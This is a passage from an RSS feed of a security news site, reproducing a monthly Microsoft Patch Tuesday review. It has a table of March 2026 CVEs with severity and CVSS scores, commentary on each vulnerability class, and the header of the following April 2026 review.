  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24291"><span><span> </span>CVE-2026-24291<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25186"><span><span> </span>CVE-2026-25186<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Accessibility Infrastructure
  (ATBroker.exe) Information Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23660"><span><span> </span>CVE-2026-23660 †</span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Admin Center in Azure Portal
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24293"><span><span> </span>CVE-2026-24293<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25176"><span><span> </span>CVE-2026-25176<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25178"><span><span> </span>CVE-2026-25178<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25179"><span><span> </span>CVE-2026-25179<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23656"><span><span> </span>CVE-2026-23656<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows App Installer Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.9</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25171"><span><span> </span>CVE-2026-25171<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Authentication Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23671"><span><span> </span>CVE-2026-23671<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Bluetooth RFCOM Protocol Driver
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24292"><span><span> </span>CVE-2026-24292<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24295"><span><span> </span>CVE-2026-24295<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24296"><span><span> </span>CVE-2026-24296<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Device Association Service Elevation
  of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25189"><span><span> </span>CVE-2026-25189<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows DWM Core Library Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25174"><span><span> </span>CVE-2026-25174<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Extensible File Allocation Table
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25168"><span><span> </span>CVE-2026-25168<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25169"><span><span> </span>CVE-2026-25169<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Denial of Service
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.2</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><span><span> </span>CVE-2026-23668<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25180"><span><span> </span>CVE-2026-25180<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Graphics Component Information
  Disclosure Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25170"><span><span> </span>CVE-2026-25170<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Hyper-V Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24297"><span><span> </span>CVE-2026-24297<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kerberos Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24287"><span><span> </span>CVE-2026-24287<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24289"><span><span> </span>CVE-2026-24289<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26132"><span><span> </span>CVE-2026-26132<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24288"><span><span> </span>CVE-2026-24288<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Mobile Broadband Driver Remote Code
  Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">6.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25175"><span><span> </span>CVE-2026-25175<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows NTFS Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><span><span> </span>CVE-2026-23669<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Print Spooler Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24290"><span><span> </span>CVE-2026-24290<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Projected File System Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23673"><span><span> </span>CVE-2026-23673<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Resilient File System (ReFS)
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25172"><span><span> </span>CVE-2026-25172<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25173"><span><span> </span>CVE-2026-25173<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26111"><span><span> </span>CVE-2026-26111<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Routing and Remote Access Service
  (RRAS) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25185"><span><span> </span>CVE-2026-25185<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Shell Link Processing Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">5.3</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24294"><span><span> </span>CVE-2026-24294<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26128"><span><span> </span>CVE-2026-26128<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows SMB Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25166"><span><span> </span>CVE-2026-25166<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows System Image Manager Assessment and
  Deployment Kit (ADK) Remote Code Execution Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25188"><span><span> </span>CVE-2026-25188<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Telephony Service Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23672"><span><span> </span>CVE-2026-23672<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Windows Universal Disk Format File System
  Driver (UDFS) Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-25187"><span><span> </span>CVE-2026-25187<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Winlogon Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3536"><span><span> </span>CVE-2026-3536 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3536 Integer overflow in
  ANGLE<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3538"><span><span> </span>CVE-2026-3538 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3538 Integer overflow in
  Skia<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3539"><span><span> </span>CVE-2026-3539 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3539 Object lifecycle
  issue in DevTools<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3540"><span><span> </span>CVE-2026-3540 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3540 Inappropriate
  implementation in WebAudio<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3541"><span><span> </span>CVE-2026-3541 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3541 Inappropriate
  implementation in CSS<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3542"><span><span> </span>CVE-2026-3542 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3542 Inappropriate
  implementation in WebAssembly<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3543"><span><span> </span>CVE-2026-3543 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3543 Inappropriate
  implementation in V8<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3544"><span><span> </span>CVE-2026-3544 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3544 Heap buffer overflow
  in WebCodecs<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-3545"><span><span> </span>CVE-2026-3545 *</span></a></td>
  <td width="263" class="xl66"><span> </span>Chromium: CVE-2026-3545 Insufficient data
  validation in Navigation<span> </span></td>
  <td class="xl69"><span> </span>High</td>
  <td class="xl67"><span> </span>N/A</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this month’s release, they are all cloud-native and require no user action. Microsoft has already remediated the vulnerabilities.</p><p class="">Moving on to the other code execution bugs, the vulnerabilities in SharePoint Server pop out first. Both require authentication, but it’s essentially the lowest level of authentication, so these would be ideal cases for lateral movement within an enterprise. There are the standard open-and-own cases within Office components. There an interesting sounding bug in the Windows Mobile Broadband Driver that requires physical access, but Microsoft doesn’t elaborate on the attack scenario beyond that fact. The bug in the System Image Manager Assessment and Deployment Kit (ADK) requires authentication. The bug in GDI requires user interaction. The remaining code execution bugs are in the RRAS protocol. We’ve seen bugs in this component in the past, but never in the wild. I wouldn’t ignore these, but I wouldn’t rush them out either.</p><p class="">Similar to last month, updates for Elevation of Privilege (EoP) bugs make up nearly half of this month’s release. And as we saw last month, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. The bugs in SQL Server allow attackers to elevate to SQL sysadmin privileges. The bug in the Azure MCP Server is more complex. It allows attackers to obtain the permissions associated with the MCP Server’s managed identity, which lets them perform actions that the managed identity is able to reach. The bug in the Azure AD SSH Login extension for Linux leads to root access, and it won’t be easy to patch. You’ll need to run the update instructions from the command line on each affected system. That’s the same case for the bug in the Linux Azure Diagnostic extension (LAD). There’s an odd bug in the Hybrid Worker Extension (Arc‑enabled Windows VMs) that leads to “ELEVATED” privileges, which is something I’ve never seen before. The bug in the Broadcast DVR component allows an attacker to go from low integrity level up to medium. There’s a bug listed as an EoP in the Push message Routing Service, but reading the description, Microsoft notes it could lead to an information disclosure. It’s likely this is an error and should be an Information Disclosure bug. The final EoP is in the Azure Portal Windows Admin Center and leads to SYSTEM. However, there’s no patch to remediate this bug. Instead, you need to install the latest version of the Windows Admin Center extension through the Azure Portal by hand. </p><p class="">There are two security feature bypass patches in the March release. The first is a bypass of the MapURLToZone method, which (as expected) allows attackers to bypass MapURLToZone protections. The third bypass is in Kerberos and could allow an attacker to either view some sensitive information or make changes to “disclosed” information. This is a race condition that occurs while the group policy is being reapplied, so the window to exploit this would be extremely small.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, only two result in info leaks consisting of unspecified memory contents or memory addresses. Ther others provide more interesting results. There are three bugs in the Azure IoT Explorer have some wide-ranging implications. According to Microsoft, exploitation could result in, “device connection information, authentication tokens, request data, file paths, and other information transmitted between the application and the IoT Hub.” The bug in Authenticator almost reads like a security feature bypass, as exploit results in the disclosure of a one‑time sign‑in code or authentication deep link. The attacker would receive the sign‑in information and could potentially use it to authenticate as the user, allowing access to information or services available to that account. The last info disclosure bug is in the Accessibility Infrastructure and allows an attacker to gain secrets or privileged information belonging to the user of the affected application.</p><p class="">There are only four spoofing bugs in the March release. The first is in SharePoint server and manifests as an XSS. The second bug is a Server-Side Request Forgery (SSRF) in the Azure IoT Explorer. The remaining two are a bit more cryptic. The bug in Windows Shell Link Processing results from the “exposure of sensitive information to an unauthorized actor,” and could lead to spoofing. That sounds like credential exposure, but it’s not explicitly called out. The final spoofing bug results from the insufficient verification of data authenticity in Windows App Installer. Again, this sounds vaguely like credential reflection, but without further information, we can only speculate. </p><p class="">Finally, there are four denial-of-service (DoS) bugs in the release, including one that’s listed as publicly known in the .NET Framework. As usual, Microsoft provides no actionable information about these bugs.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being at RSA for the first time in my career, so if you’re around, please stop by and say hello. I like it when people say hello. Otherwise, I’ll be back on April 14 with my assessment of that patch Tuesday release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The April 2026 Security Update Review]]></title>
<description><![CDATA[It’s time once again for Patch Tuesday, and this one is huge. We’ve also got multiple exploits in the wild, which adds another layer of urgency to this month’s release. Take a break from your regularly scheduled activities, and let’s take a look at the latest security patches from Adobe and Micro...]]></description>
<link>https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694470/it-security-nachrichten/the-april-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:42 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
